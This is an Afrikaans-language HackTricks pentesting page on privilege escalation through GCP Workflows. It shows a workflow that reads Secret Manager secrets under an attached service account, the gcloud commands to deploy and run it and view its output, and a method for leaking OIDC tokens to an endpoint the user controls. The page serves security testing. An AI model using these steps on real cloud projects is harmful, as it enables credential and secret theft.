# GCP - Workflows Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Workflows

Basiese inligting:

{{#ref}}
../gcp-services/gcp-workflows-enum.md
{{#endref}}

### `workflows.workflows.create`, `iam.serviceAccounts.ActAs`, `workflows.executions.create`, (`workflows.workflows.get`, `workflows.operations.get`)

Sover ek weet is dit nie moontlik om 'n shell te kry met toegang tot die metadata-endpoint wat die SA-kredensiale van die SA wat aan 'n Workflow gekoppel is, bevat nie. Dit is egter moontlik om die permissies van die SA te misbruik deur die aksies wat uitgevoer moet word binne die Workflow by te voeg.

Dit is moontlik om die dokumentasie van die connectors te vind. Byvoorbeeld, dit is die [**page of the Secretmanager connector**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** In die sybalk kan jy verskeie ander connectors vind.

En hier kan jy 'n voorbeeld vind van 'n connector wat 'n geheim uitdruk:

<details><summary>Workflow YAML konfigurasie om toegang tot secrets te kry</summary>
```yaml
main:
params: [input]
steps:
- access_string_secret:
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
args:
secret_id: secret_name
version: 1
project_id: project-id
result: str_secret
- returnOutput:
return: "${str_secret}"
```
</details>

Opdatering vanaf die CLI:

<details><summary>Ontplooi en voer workflows uit vanaf die CLI</summary>
```bash
gcloud workflows deploy <workflow-name> \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1
```
As jy 'n fout kry soos `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, **wag net 'n minuut en probeer weer**.

As jy nie webtoegang het nie, is dit moontlik om die uitvoering van 'n Workflow te trigger en te sien met:
```bash
# Run execution with output
gcloud workflows run <workflow-name> --location us-central1

# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1

# List executions
gcloud workflows executions list <workflow-name>

# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
```
</details>

> [!CAUTION]
> Jy kan ook die uitvoer van vorige uitvoerings nagaan om na sensitiewe inligting te kyk

Let daarop dat selfs as jy 'n fout kry soos `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` omdat jy daardie toestemming nie het nie, is die workflow gegenereer.

### Leak OIDC token (en OAuth?)

According [**to the docs**](https://cloud.google.com/workflows/docs/authenticate-from-workflow) is dit moontlik om workflow-stappe te gebruik wat 'n HTTP-versoek met die OAuth of OIDC token sal stuur. Soos in die geval van [Cloud Scheduler](gcp-cloudscheduler-privesc.md), moet die HTTP-versoek met die Oauth token egter na die gasheer `.googleapis.com` wees.

> [!CAUTION]
> Daarom is dit **moontlik om die OIDC token te leak deur 'n HTTP-endpoint aan te dui** wat deur die gebruiker beheer word, maar om die **OAuth** token te leak sou jy **'n ompad (bypass) nodig hê** vir daardie beskerming. Nietemin kan jy steeds **kontak enige GCP api om optrede namens die SA uit te voer** deur óf connectors óf HTTP-versoeke met die OAuth-token te gebruik.

#### Oauth

<details><summary>Workflow HTTP versoek met OAuth token</summary>
```yaml
- step_A:
call: http.post
args:
url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
auth:
type: OAuth2
scopes: OAUTH_SCOPE
```
</details>#### OIDC

<details><summary>Workflow HTTP-versoek met OIDC-token</summary>
```yaml
- step_A:
call: http.get
args:
url: https://us-central1-project.cloudfunctions.net/functionA
query:
firstNumber: 4
secondNumber: 6
operation: sum
auth:
type: OIDC
audience: OIDC_AUDIENCE
```
</details>### `workflows.workflows.update` ...

Met hierdie toestemming, in plaas van `workflows.workflows.create`, is dit moontlik om 'n reeds bestaande workflow op te dateer en dieselfde aanvalle uit te voer.

{{#include ../../../banners/hacktricks-training.md}}
